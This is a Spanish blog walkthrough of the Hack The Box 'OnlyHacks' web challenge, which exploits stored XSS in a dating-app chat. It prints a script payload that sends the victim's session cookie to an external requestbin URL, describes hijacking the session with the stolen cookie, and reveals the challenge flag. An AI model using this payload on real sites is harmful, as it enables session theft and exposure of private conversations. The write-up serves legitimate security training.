Continuamos con el Challenge de Hack The Box llamado «OnlyHacks» de dificultad Muy Fácil y categoría Web.
Te dejo al final del post un resumen de todo lo trabajado en este CTF. 🙂
La forma de iniciar los challenges es igual que cuando nos conectamos a una máquina del laboratorio de HTB, en este post te cuento paso a paso cómo conectarte con la VPN de la plataforma e iniciar la conexión.
Si quieres empezar con Hack The Box y quieres probarla, te dejo el enlace para que puedas registrarte y comenzar.
Una vez nos dan el host de la máquina o web víctima, lo que hacemos es ejecutarla en navegador para ver qué resuelve:
http://94.237.57.194:51791/login

Realicé algunas acciones de reconocimiento de servicios que corren por el puerto 51791 y se detecta que la versión es Ajenti y un posible exploit XSS.


Al acceder inicialmente a la aplicación web, revisé cuidadosamente el código fuente y comportamiento, pero no encontré vulnerabilidades evidentes. Por ello, decidí crear una cuenta para analizar la aplicación desde adentro.
Me registré y empecé a explorar la aplicación. Encontré una funcionalidad para dar «like» a perfiles. Al hacer esto, generé un match con un usuario llamado Renata, que envía automáticamente mensajes a los usuarios con quienes hace match.
Noté que Renata respondía automáticamente al chat. Al intentar introducir una etiqueta HTML sencilla (<h1>), la aplicación interpretó y mostró la etiqueta HTML correctamente renderizada, confirmando una vulnerabilidad de tipo XSS.

Aprovechando la vulnerabilidad encontrada, decidí utilizar un payload para robar la cookie de sesión de Renata y suplantar su identidad. El payload utilizado fue:
<script>document.location='http://requestbin.whapi.cloud/196267y1?c='+document.cookie</script>
Usé la aplicación web https://requestbin.whapi.cloud, que me proporcionó rápidamente una URL pública (requestbin.whapi.cloud/196267y1) donde podía recibir peticiones y así capturar la cookie robada.
https://requestbin.whapi.cloud/196267y1?inspect

Tras enviar el payload en el chat con Renata, su navegador automáticamente ejecutó el script JavaScript, enviando su cookie a mi servidor improvisado (requestbin).
Pude observar y capturar la cookie en el panel de requestbin:

Finalmente, utilizando las herramientas de desarrollador del navegador, sustituí mi propia cookie (session) por la cookie robada obtenida previamente de Renata.
Refresqué la página web, y automáticamente pasé a estar logueado como Renata.

Al ingresar en la sesión de Renata, pude visualizar todas sus conversaciones, incluyendo una conversación con el usuario Dimitris, donde claramente se encontraba la flag del challenge:

| RESUMEN En este reto llamado «OnlyHacks», primero accedimos a una aplicación web similar a una red social de citas, donde tras registrarnos pudimos interactuar con otros perfiles. Al probar diferentes mensajes, descubrimos que podíamos insertar código HTML directamente en el chat con un usuario llamado Renata. Aprovechamos esta vulnerabilidad (llamada XSS o Cross-Site Scripting) enviándole un pequeño script malicioso que hizo que su navegador nos enviara su cookie de sesión (información que permite identificarse en una web sin necesidad de contraseña) a un servidor externo que controlábamos. Finalmente, copiamos esta cookie de sesión y la utilizamos en nuestro navegador, suplantando así la identidad de Renata en la aplicación. Al hacerlo, pudimos leer sus conversaciones privadas, donde encontramos un mensaje de otro usuario llamado Dimitris, que contenía la flag : HTB{d0nt_trust_str4ng3r5_bl1ndly}. Este desafío nos enseñó que es esencial que los sitios web validen correctamente los datos introducidos por los usuarios, ya que una simple vulnerabilidad puede poner en riesgo toda la privacidad de los usuarios. |
